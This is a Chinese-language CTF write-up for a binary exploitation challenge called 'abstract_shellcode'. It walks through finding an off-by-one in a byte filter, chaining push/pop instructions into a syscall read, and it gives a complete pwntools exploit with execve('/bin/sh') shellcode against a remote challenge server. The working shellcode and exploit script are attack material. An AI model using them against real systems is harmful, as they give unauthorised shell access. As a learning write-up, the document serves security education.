pwn· 更新于 2024-11-28

abstract_shellcode

abstract_shellcode

checksec 一下

	Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      PIE enabled
    Stack:    Executable
    RWX:      Has RWX segments

IDA 一下

main 函数要求我们输入两个字符,如果是“ye”就退出

2023-11-30_19-07-06

进 func 看看,大概分为两个部分

第一部分是一个循环,每次输入一字节,跳出条件为 (s-buf)>16,即输入17个字符(划重点)

2023-11-30_19-01-04

第二部分,判断输入的字符是否在 4E 和 5F 之间,如果全部符合就 call rax,也就是执行这段输入的 shellcode

2023-11-30_19-02-32

重点来了,前面发现可以输入 17 个字符,但检测只检测 16 个字符,这里就有一个小漏洞了

进 gdb 调试,断在 call rax 处

2023-11-30_19-20-37

分析栈结构发现

rsp +8 刚好是第一次输入的字符的地址而前面输入则是不为“ye”的两个字符

分析下寄存器

2023-11-30_19-23-43

找找用得上的东西

分析完后就是构造 shellcode 了

0:  4e                      rex.WRX
1:  4f 50                   rex.WRXB push r8
3:  50                      push   rax
4:  51                      push   rcx
5:  52                      push   rdx
6:  53                      push   rbx
7:  54                      push   rsp
8:  55                      push   rbp
9:  56                      push   rsi
a:  57                      push   rdi
b:  58                      pop    rax
c:  59                      pop    rcx
d:  5a                      pop    rdx
e:  5b                      pop    rbx
f:  5c                      pop    rsp
10: 5d                      pop    rbp
11: 5e                      pop    rsi

通过机器码转汇编可以发现限制的 shellcode 都是 push 和 pop

而第十七个字符刚好不受限制,诶,刚好构建一个 ret

0:  c3                      ret

ret 去哪呢

诶,第一次输入刚好是俩字符,诶

0:  0f 05                   syscall

syscall 也是俩俩字节

思路已经很明显了

1、通过 shellcode 操作寄存器和栈,以达到 syscall->read

rax = 0x0
rdi = 0x0
rsi = 某处地址(位于第一次输入之后,执行完后滑到这继续执行)
rdx = 长度(我选的是r11中的0x246)

2、构造 shellcode

0:  58                      pop    rax
1:  58                      pop    rax
2:  5b                      pop    rbx
3:  53                      push   rbx
4:  5e                      pop    rsi
5:  4f 53                   rex.WRXB push r11
7:  5a                      pop    rdx
8:  50                      push   rax
9:  5f                      pop    rdi
a:  50                      push   rax
b:  5f                      pop    rdi
c:  50                      push   rax
d:  5f                      pop    rdi
e:  50                      push   rax
f:  53                      push   rbx
10: c3                      ret

exp

from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

k = 1
if k:
    p = remote('43.249.195.138','22251')
else:
    p = process('./abstractshellcode')
elf = ELF('./abstractshellcode')
libc = ELF('./libc-2.31.so')
# gdb.attach(p,'b *$rebase(0x14a6)')

p.recvuntil(b'input:(ye / no)', b'\n')
p.send(b'\x0f\x05')
p.recvuntil(b'---input your pop code---', b'\n')

shellcode = b'\x90\x90\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'

p.send(b'\x58\x58\x5b\x53\x5e\x4f\x53\x5a\x50\x5f\x50\x5f\x50\x5f\x50\x53\xc3')

p.send(shellcode)

p.interactive()

Over

评论
NETEASE歌单
未选择曲目
0:000:00